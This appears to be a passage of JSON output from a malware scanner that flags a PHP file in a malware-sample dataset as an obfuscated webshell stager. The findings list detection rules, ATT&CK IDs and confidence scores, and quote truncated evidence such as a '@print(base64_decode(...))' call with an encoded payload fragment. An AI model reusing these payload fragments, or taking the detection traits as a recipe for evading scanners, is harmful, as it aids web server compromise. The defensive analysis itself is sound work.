              "strings.avg_entropy = 5.65"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/strings::high-entropy-strings-dup",
            "l": 3,
            "m": "B0032"
          },
          {
            "c": 0.699999988079071,
            "d": "PHP error suppression operator usage",
            "e": [
              "@print(base64_decode(\"LyoqDQogKiBTaWduYXR1cmUgRm9yIFJlcG9ydA0KICovJHgxMDI9J29zKCRodG1sX21fKWh0LCBfKW..."
            ],
            "i": "micro-behaviors/os/stdio::error-suppress-prefix",
            "l": 3
          },
          {
            "a": "T1505.003",
            "c": 0.8399999737739563,
            "d": "Near-zero whitespace script",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace",
            "l": 1
          },
          {
            "c": 0.949999988079071,
            "d": "File is a one-liner",
            "e": [
              "text.total_lines = 1.00"
            ],
            "i": "metadata/file/text/metrics::file-one-liner",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.8999999761581421,
            "d": "PHP source imports base64_decode",
            "e": [
              "[base64_decode]"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::source-import-base64-decode",
            "l": 1
          },
          {
            "a": "T1505.003",
            "c": 0.9900000095367432,
            "d": "Decodes a large embedded payload (base64)",
            "e": [
              "base64_decode(\"LyoqDQogKiBTaWduYXR1cmUgRm9yIFJlcG9ydA0KICovJHgxMDI9J29zKCRodG1sX21fKWh0LCBfKWhjW3N5bWJvXylodGx4XV8paGMpOwlfKWh0d"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/decoder::eval-base64-large-payload",
            "l": 4,
            "m": "B0030"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Last line is over 1000 chars",
            "e": [
              "text.last_line_length = 23836.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::last-line-over-1000",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.4000000059604645,
            "d": "Very few string literals (string obfuscation indicator)",
            "e": [
              "strings.total = 2.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/strings::few-strings",
            "l": 3,
            "m": "B0032"
          },
          {
            "c": 0.6000000238418579,
            "d": "Base64-encoded HTTP protocol fragment",
            "e": [
              "aHR0cDovL"
            ],
            "i": "objectives/exfiltration/oob/endpoint::http-b64",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "PHP source contains very long line",
            "e": [
              "text.max_line_length = 23836.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line",
            "l": 4,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: base64",
            "e": [
              "/**  * Signature For Report  */$x102=' \u003cbase64\u003e"
            ],
            "i": "metadata/encoded-payload/base64",
            "l": 3
          },
          {
            "c": 0.8999999761581421,
            "d": "php webshell containing base64 encoded payload",
            "e": [
              "\u003c?PHP",
              "ldmFs",
              "\u003c?",
              "base64_decode"
            ],
            "i": "third_party/SigBase/WEBSHELL/PHP/Base64/Encoded/Payloads",
            "l": 5
          }
        ],
        "sha": "cd804b5229644eefb1233e9d4686101e93d611b0e12ec35f0152db85196f8f48",
        "path": "/data/samples/bad/datasets/php-malware-analysis/plugins/login_wall/decoding_pi/iB.php",
        "type": "php"
      }
    ],
    "tv": "a9555"
  }
}